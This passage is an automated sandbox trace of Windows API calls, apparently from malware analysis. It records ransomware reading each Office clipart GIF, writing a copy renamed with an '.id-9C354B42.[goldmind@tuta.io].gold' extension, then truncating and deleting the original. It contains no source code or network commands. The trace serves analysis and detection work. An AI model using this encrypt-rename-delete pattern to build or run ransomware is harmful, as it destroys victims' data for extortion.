[0048.009] lstrlenW (lpString=".rar") returned 4 [0048.009] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.009] lstrlenW (lpString=".bz2") returned 4 [0048.009] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.009] lstrlenW (lpString=".7z") returned 3 [0048.009] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.009] lstrlenW (lpString=".dbf") returned 4 [0048.009] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.009] lstrlenW (lpString=".1cd") returned 4 [0048.009] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63 [0048.009] lstrlenW (lpString=".jpg") returned 4 [0048.009] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.009] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0048.009] lstrlenW (lpString="AG00172_.GIF") returned 12 [0048.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0048.010] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=4390) returned 1 [0048.010] CloseHandle (hObject=0x170) returned 1 [0048.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20 [0048.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0048.010] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.010] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.010] GetLastError () returned 0x0 [0048.010] ReadFile (in: hFile=0x170, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x1126, lpOverlapped=0x0) returned 1 [0048.011] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x1130, lpOverlapped=0x0) returned 1 [0048.012] ReadFile (in: hFile=0x170, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.012] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.012] SetEndOfFile (hFile=0x218) returned 1 [0048.012] CloseHandle (hObject=0x218) returned 1 [0048.013] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.013] SetEndOfFile (hFile=0x170) returned 1 [0048.013] CloseHandle (hObject=0x170) returned 1 [0048.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0048.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.014] lstrlenW (lpString=".doc") returned 4 [0048.014] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.014] lstrlenW (lpString=".docx") returned 5 [0048.014] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.014] lstrlenW (lpString=".pdf") returned 4 [0048.014] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.014] lstrlenW (lpString=".xls") returned 4 [0048.014] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.014] lstrlenW (lpString=".xlsx") returned 5 [0048.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.014] lstrlenW (lpString=".ppt") returned 4 [0048.014] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.014] lstrlenW (lpString=".zip") returned 4 [0048.014] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.014] lstrlenW (lpString=".rar") returned 4 [0048.014] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.014] lstrlenW (lpString=".bz2") returned 4 [0048.014] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.014] lstrlenW (lpString=".7z") returned 3 [0048.014] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.014] lstrlenW (lpString=".dbf") returned 4 [0048.014] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.014] lstrlenW (lpString=".1cd") returned 4 [0048.014] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.014] lstrlenW (lpString=".jpg") returned 4 [0048.014] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.014] lstrlenW (lpString=".doc") returned 4 [0048.014] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.014] lstrlenW (lpString=".docx") returned 5 [0048.014] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.014] lstrlenW (lpString=".pdf") returned 4 [0048.014] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.014] lstrlenW (lpString=".xls") returned 4 [0048.014] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.014] lstrlenW (lpString=".xlsx") returned 5 [0048.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.014] lstrlenW (lpString=".ppt") returned 4 [0048.014] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.014] lstrlenW (lpString=".zip") returned 4 [0048.014] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.014] lstrlenW (lpString=".rar") returned 4 [0048.014] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.015] lstrlenW (lpString=".bz2") returned 4 [0048.015] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.015] lstrlenW (lpString=".7z") returned 3 [0048.015] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.015] lstrlenW (lpString=".dbf") returned 4 [0048.015] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.015] lstrlenW (lpString=".1cd") returned 4 [0048.015] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63 [0048.015] lstrlenW (lpString=".jpg") returned 4 [0048.015] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.015] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0048.015] lstrlenW (lpString="AG00174_.GIF") returned 12 [0048.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0048.015] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3966) returned 1 [0048.015] CloseHandle (hObject=0x170) returned 1 [0048.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0048.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0048.015] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.015] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.016] GetLastError () returned 0x0 [0048.016] ReadFile (in: hFile=0x170, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xf7e, lpOverlapped=0x0) returned 1 [0048.019] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0048.020] ReadFile (in: hFile=0x170, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.020] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.020] SetEndOfFile (hFile=0x218) returned 1 [0048.020] CloseHandle (hObject=0x218) returned 1 [0048.021] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.021] SetEndOfFile (hFile=0x170) returned 1 [0048.021] CloseHandle (hObject=0x170) returned 1 [0048.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.021] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0048.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.022] lstrlenW (lpString=".doc") returned 4 [0048.022] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.022] lstrlenW (lpString=".docx") returned 5 [0048.022] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.022] lstrlenW (lpString=".pdf") returned 4 [0048.022] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.022] lstrlenW (lpString=".xls") returned 4 [0048.022] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.022] lstrlenW (lpString=".xlsx") returned 5 [0048.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.022] lstrlenW (lpString=".ppt") returned 4 [0048.022] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.022] lstrlenW (lpString=".zip") returned 4 [0048.022] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.022] lstrlenW (lpString=".rar") returned 4 [0048.022] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.022] lstrlenW (lpString=".bz2") returned 4 [0048.022] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.022] lstrlenW (lpString=".7z") returned 3 [0048.022] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.022] lstrlenW (lpString=".dbf") returned 4 [0048.022] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.022] lstrlenW (lpString=".1cd") returned 4 [0048.022] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.022] lstrlenW (lpString=".jpg") returned 4 [0048.022] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.022] lstrlenW (lpString=".doc") returned 4 [0048.022] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.022] lstrlenW (lpString=".docx") returned 5 [0048.022] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.022] lstrlenW (lpString=".pdf") returned 4 [0048.022] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.022] lstrlenW (lpString=".xls") returned 4 [0048.022] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.022] lstrlenW (lpString=".xlsx") returned 5 [0048.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.022] lstrlenW (lpString=".ppt") returned 4 [0048.022] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.022] lstrlenW (lpString=".zip") returned 4 [0048.022] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.022] lstrlenW (lpString=".rar") returned 4 [0048.022] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.022] lstrlenW (lpString=".bz2") returned 4 [0048.023] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.023] lstrlenW (lpString=".7z") returned 3 [0048.023] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.023] lstrlenW (lpString=".dbf") returned 4 [0048.023] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.023] lstrlenW (lpString=".1cd") returned 4 [0048.023] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.023] lstrlenW (lpString=".jpg") returned 4 [0048.023] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.023] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0048.023] lstrlenW (lpString="AG00175_.GIF") returned 12 [0048.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0048.023] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=3378) returned 1 [0048.023] CloseHandle (hObject=0x170) returned 1 [0048.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0048.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0048.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0048.024] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.024] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.024] GetLastError () returned 0x0 [0048.024] ReadFile (in: hFile=0x170, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xd32, lpOverlapped=0x0) returned 1 [0048.029] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xd40, lpOverlapped=0x0) returned 1 [0048.031] ReadFile (in: hFile=0x170, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.031] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.032] SetEndOfFile (hFile=0x218) returned 1 [0048.032] CloseHandle (hObject=0x218) returned 1 [0048.032] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.032] SetEndOfFile (hFile=0x170) returned 1 [0048.032] CloseHandle (hObject=0x170) returned 1 [0048.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0048.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0048.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0048.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0048.033] lstrlenW (lpString=".doc") returned 4 [0048.033] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.033] lstrlenW (lpString=".docx") returned 5 [0048.033] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.033] lstrlenW (lpString=".pdf") returned 4 [0048.033] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.033] lstrlenW (lpString=".xls") returned 4 [0048.033] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.033] lstrlenW (lpString=".xlsx") returned 5 [0048.033] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.033] lstrlenW (lpString=".ppt") returned 4 [0048.033] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0048.033] lstrlenW (lpString=".zip") returned 4 [0048.033] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.033] lstrlenW (lpString=".rar") returned 4 [0048.033] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.033] lstrlenW (lpString=".bz2") returned 4 [0048.033] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.033] lstrlenW (lpString=".7z") returned 3 [0048.033] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0048.033] lstrlenW (lpString=".dbf") returned 4 [0048.033] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0048.033] lstrlenW (lpString=".1cd") returned 4 [0048.033] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0048.033] lstrlenW (lpString=".jpg") returned 4 [0048.033] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0048.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0048.033] lstrlenW (lpString=".doc") returned 4 [0048.033] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.033] lstrlenW (lpString=".docx") returned 5 [0048.033] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.034] lstrlenW (lpString=".pdf") returned 4 [0048.034] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.034] lstrlenW (lpString=".xls") returned 4 [0048.034] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.034] lstrlenW (lpString=".xlsx") returned 5 [0048.034] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.034] lstrlenW (lpString=".ppt") returned 4 [0048.034] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0048.034] lstrlenW (lpString=".zip") returned 4 [0048.034] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.034] lstrlenW (lpString=".rar") returned 4 [0048.034] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.034] lstrlenW (lpString=".bz2") returned 4 [0048.034] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.034] lstrlenW (lpString=".7z") returned 3 [0048.034] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0048.034] lstrlenW (lpString=".dbf") returned 4 [0048.034] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0048.034] lstrlenW (lpString=".1cd") returned 4 [0048.034] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.034] lstrlenW (lpString="C:\\Program 